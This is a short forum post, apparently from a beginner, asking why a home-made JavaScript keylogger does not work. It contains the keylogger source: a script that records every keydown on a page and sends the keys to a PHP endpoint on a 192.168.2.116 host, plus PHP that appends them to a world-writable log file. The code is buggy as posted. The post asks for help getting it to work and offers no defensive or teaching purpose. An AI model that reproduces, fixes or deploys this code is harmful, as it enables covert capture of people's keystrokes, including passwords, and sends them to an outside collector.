Keylogger Javascript

hi,

newbie here.

so, i’m trying to code a keylogger.

so i have a txt file: keylog.txt (chmod 777 keylog.txt)

i have a php file:

<?php
$key = $_GET[ ‘key’ ];

$logfile = “keylog.txt”;
file_put_contents($logfile, $key, FILE_APPEND);
?>

and an embedded js:

var presses = [];
window.addEventListener(“keydown”, function(evt){presses.push(evt.key);}

var http = new XMLHttpRequest();

http.open(“GET”,“http://192.168.2.116/key.php”,true);
http.send(“key=”+presses);

but it doesnt work, and im not sure why

does anyone have any idea????